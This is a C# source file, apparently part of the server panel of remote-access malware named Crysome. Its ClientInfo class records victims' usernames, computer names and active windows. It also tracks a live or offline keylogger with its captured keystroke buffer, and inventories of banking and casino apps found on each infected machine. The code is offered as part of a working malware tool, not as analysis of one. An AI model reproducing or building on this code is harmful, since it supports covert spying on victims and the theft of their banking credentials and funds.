506 lines
7.9 KiB
C#
506 lines
7.9 KiB
C#
using System;
|
|
using System.Collections.ObjectModel;
|
|
using System.ComponentModel;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Text;
|
|
using System.Text.Json;
|
|
using System.Windows.Media.Imaging;
|
|
using Crysome.Common.Network;
|
|
|
|
namespace Crysome.Server.Model;
|
|
|
|
public class ClientInfo : INotifyPropertyChanged
|
|
{
|
|
private string _identifier = "";
|
|
|
|
private string _address = "";
|
|
|
|
private int _port;
|
|
|
|
private string _username = "";
|
|
|
|
private string _computerName = "";
|
|
|
|
private string _os = "";
|
|
|
|
private string _activeWindow = "";
|
|
|
|
private string _uptime = "";
|
|
|
|
private string _countryCode = "";
|
|
|
|
private BitmapImage _flagImage;
|
|
|
|
private string _group = "";
|
|
|
|
private string _gpu = "";
|
|
|
|
private string _notes = "";
|
|
|
|
private bool _proxyActive;
|
|
|
|
private int _pingValue;
|
|
|
|
private bool _isPinned;
|
|
|
|
private bool _isAnnounce;
|
|
|
|
private bool _isMuted;
|
|
|
|
private DateTime _muteUntil;
|
|
|
|
private int[] _pingSamples = new int[4];
|
|
|
|
private int _pingSampleIdx;
|
|
|
|
private int _pingSampleCount;
|
|
|
|
private string _appsInventoryJson = "";
|
|
|
|
private string _bankInventoryJson = "";
|
|
|
|
private string _casinoInventoryJson = "";
|
|
|
|
private bool _keyloggerActive;
|
|
|
|
private readonly StringBuilder _offlineKeylogBuffer = new StringBuilder();
|
|
|
|
public CrysomeClient Owner { get; set; }
|
|
|
|
public string SessionId { get; set; }
|
|
|
|
public DateTime ConnectTime { get; set; }
|
|
|
|
public string Identifier
|
|
{
|
|
get
|
|
{
|
|
return _identifier;
|
|
}
|
|
set
|
|
{
|
|
_identifier = value;
|
|
Notify("Identifier");
|
|
}
|
|
}
|
|
|
|
public string Address
|
|
{
|
|
get
|
|
{
|
|
return _address;
|
|
}
|
|
set
|
|
{
|
|
_address = value;
|
|
Notify("Address");
|
|
}
|
|
}
|
|
|
|
public int Port
|
|
{
|
|
get
|
|
{
|
|
return _port;
|
|
}
|
|
set
|
|
{
|
|
_port = value;
|
|
Notify("Port");
|
|
}
|
|
}
|
|
|
|
public string Username
|
|
{
|
|
get
|
|
{
|
|
return _username;
|
|
}
|
|
set
|
|
{
|
|
_username = value;
|
|
Notify("Username");
|
|
}
|
|
}
|
|
|
|
public string ComputerName
|
|
{
|
|
get
|
|
{
|
|
return _computerName;
|
|
}
|
|
set
|
|
{
|
|
_computerName = value;
|
|
Notify("ComputerName");
|
|
}
|
|
}
|
|
|
|
public string OS
|
|
{
|
|
get
|
|
{
|
|
return _os;
|
|
}
|
|
set
|
|
{
|
|
_os = value;
|
|
Notify("OS");
|
|
}
|
|
}
|
|
|
|
public string ActiveWindow
|
|
{
|
|
get
|
|
{
|
|
return _activeWindow;
|
|
}
|
|
set
|
|
{
|
|
_activeWindow = value;
|
|
Notify("ActiveWindow");
|
|
}
|
|
}
|
|
|
|
public string Uptime
|
|
{
|
|
get
|
|
{
|
|
return _uptime;
|
|
}
|
|
set
|
|
{
|
|
_uptime = value;
|
|
Notify("Uptime");
|
|
}
|
|
}
|
|
|
|
public string CountryCode
|
|
{
|
|
get
|
|
{
|
|
return _countryCode;
|
|
}
|
|
set
|
|
{
|
|
_countryCode = value;
|
|
Notify("CountryCode");
|
|
FlagImage = FlagCache.Get((value ?? "").Trim().ToUpperInvariant());
|
|
}
|
|
}
|
|
|
|
public BitmapImage FlagImage
|
|
{
|
|
get
|
|
{
|
|
return _flagImage;
|
|
}
|
|
set
|
|
{
|
|
_flagImage = value;
|
|
Notify("FlagImage");
|
|
}
|
|
}
|
|
|
|
public string Group
|
|
{
|
|
get
|
|
{
|
|
return _group;
|
|
}
|
|
set
|
|
{
|
|
_group = value;
|
|
Notify("Group");
|
|
}
|
|
}
|
|
|
|
public string GPU
|
|
{
|
|
get
|
|
{
|
|
return _gpu;
|
|
}
|
|
set
|
|
{
|
|
_gpu = value;
|
|
Notify("GPU");
|
|
}
|
|
}
|
|
|
|
public string Notes
|
|
{
|
|
get
|
|
{
|
|
return _notes;
|
|
}
|
|
set
|
|
{
|
|
_notes = value;
|
|
Notify("Notes");
|
|
}
|
|
}
|
|
|
|
public bool ProxyActive
|
|
{
|
|
get
|
|
{
|
|
return _proxyActive;
|
|
}
|
|
set
|
|
{
|
|
_proxyActive = value;
|
|
Notify("ProxyActive");
|
|
Notify("ProxyStatus");
|
|
}
|
|
}
|
|
|
|
public string ProxyStatus
|
|
{
|
|
get
|
|
{
|
|
if (!_proxyActive)
|
|
{
|
|
return "";
|
|
}
|
|
return "TRUE";
|
|
}
|
|
}
|
|
|
|
public int PingValue
|
|
{
|
|
get
|
|
{
|
|
return _pingValue;
|
|
}
|
|
set
|
|
{
|
|
_pingValue = value;
|
|
Notify("PingValue");
|
|
Notify("PingDisplay");
|
|
}
|
|
}
|
|
|
|
public string PingDisplay
|
|
{
|
|
get
|
|
{
|
|
if (_pingValue < 0 || _pingSampleCount <= 0)
|
|
{
|
|
return "";
|
|
}
|
|
return _pingValue + " ms";
|
|
}
|
|
}
|
|
|
|
public bool IsPinned
|
|
{
|
|
get
|
|
{
|
|
return _isPinned;
|
|
}
|
|
set
|
|
{
|
|
_isPinned = value;
|
|
Notify("IsPinned");
|
|
}
|
|
}
|
|
|
|
public bool IsAnnounce
|
|
{
|
|
get
|
|
{
|
|
return _isAnnounce;
|
|
}
|
|
set
|
|
{
|
|
_isAnnounce = value;
|
|
Notify("IsAnnounce");
|
|
}
|
|
}
|
|
|
|
public bool IsMuted
|
|
{
|
|
get
|
|
{
|
|
return _isMuted;
|
|
}
|
|
set
|
|
{
|
|
_isMuted = value;
|
|
Notify("IsMuted");
|
|
}
|
|
}
|
|
|
|
public DateTime MuteUntil
|
|
{
|
|
get
|
|
{
|
|
return _muteUntil;
|
|
}
|
|
set
|
|
{
|
|
_muteUntil = value;
|
|
Notify("MuteUntil");
|
|
}
|
|
}
|
|
|
|
public string AppsInventoryJson
|
|
{
|
|
get
|
|
{
|
|
return _appsInventoryJson;
|
|
}
|
|
private set
|
|
{
|
|
_appsInventoryJson = value ?? "";
|
|
Notify("AppsInventoryJson");
|
|
}
|
|
}
|
|
|
|
public string BankInventoryJson
|
|
{
|
|
get
|
|
{
|
|
return _bankInventoryJson;
|
|
}
|
|
private set
|
|
{
|
|
_bankInventoryJson = value ?? "";
|
|
Notify("BankInventoryJson");
|
|
}
|
|
}
|
|
|
|
public string CasinoInventoryJson
|
|
{
|
|
get
|
|
{
|
|
return _casinoInventoryJson;
|
|
}
|
|
private set
|
|
{
|
|
_casinoInventoryJson = value ?? "";
|
|
Notify("CasinoInventoryJson");
|
|
}
|
|
}
|
|
|
|
public bool KeyloggerActive
|
|
{
|
|
get
|
|
{
|
|
return _keyloggerActive;
|
|
}
|
|
set
|
|
{
|
|
_keyloggerActive = value;
|
|
Notify("KeyloggerActive");
|
|
Notify("KeyloggerStatus");
|
|
}
|
|
}
|
|
|
|
public string KeyloggerStatus
|
|
{
|
|
get
|
|
{
|
|
if (!_keyloggerActive)
|
|
{
|
|
return "No";
|
|
}
|
|
return "Live";
|
|
}
|
|
}
|
|
|
|
public string OfflineKeylogData => _offlineKeylogBuffer.ToString();
|
|
|
|
public ObservableCollection<InventoryDot> AppInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
|
|
|
public ObservableCollection<InventoryDot> BankInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
|
|
|
public ObservableCollection<InventoryDot> CasinoInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
|
|
|
public event PropertyChangedEventHandler PropertyChanged;
|
|
|
|
private void Notify([CallerMemberName] string name = null)
|
|
{
|
|
this.PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name));
|
|
}
|
|
|
|
public void AppendOfflineKeylog(string data)
|
|
{
|
|
_offlineKeylogBuffer.Append(data);
|
|
Notify("OfflineKeylogData");
|
|
}
|
|
|
|
public void ApplyInventoryJson(string appsJson, string bankJson, string casinoJson = null)
|
|
{
|
|
AppsInventoryJson = appsJson ?? "";
|
|
BankInventoryJson = bankJson ?? "";
|
|
CasinoInventoryJson = casinoJson ?? "";
|
|
AppInventoryDots.Clear();
|
|
BankInventoryDots.Clear();
|
|
CasinoInventoryDots.Clear();
|
|
FillInventoryDots(appsJson, AppInventoryDots, "app");
|
|
FillInventoryDots(bankJson, BankInventoryDots, "bank");
|
|
FillInventoryDots(casinoJson, CasinoInventoryDots, "casino");
|
|
}
|
|
|
|
private static void FillInventoryDots(string json, ObservableCollection<InventoryDot> target, string kind)
|
|
{
|
|
if (string.IsNullOrWhiteSpace(json))
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
using JsonDocument jsonDocument = JsonDocument.Parse(json);
|
|
if (!jsonDocument.RootElement.TryGetProperty("items", out var value))
|
|
{
|
|
return;
|
|
}
|
|
foreach (JsonElement item in value.EnumerateArray())
|
|
{
|
|
JsonElement value2;
|
|
string text = (item.TryGetProperty("id", out value2) ? value2.GetString() : "?");
|
|
JsonElement value3;
|
|
bool present = item.TryGetProperty("present", out value3) && value3.ValueKind == JsonValueKind.True;
|
|
BitmapImage icon = ((kind == "app") ? InventoryIconCache.GetApp(text) : ((kind == "bank") ? InventoryIconCache.GetBank(text) : InventoryIconCache.GetCasino(text)));
|
|
target.Add(new InventoryDot
|
|
{
|
|
Id = (text ?? "?"),
|
|
Present = present,
|
|
Icon = icon
|
|
});
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public void AddPingSample(int rtt)
|
|
{
|
|
_pingSamples[_pingSampleIdx] = rtt;
|
|
_pingSampleIdx = (_pingSampleIdx + 1) % 4;
|
|
if (_pingSampleCount < 4)
|
|
{
|
|
_pingSampleCount++;
|
|
}
|
|
int num = 0;
|
|
for (int i = 0; i < _pingSampleCount; i++)
|
|
{
|
|
num += _pingSamples[i];
|
|
}
|
|
PingValue = num / _pingSampleCount;
|
|
}
|
|
|
|
public bool CheckMuteExpired()
|
|
{
|
|
if (_isMuted && DateTime.Now >= _muteUntil)
|
|
{
|
|
_isMuted = false;
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
}
|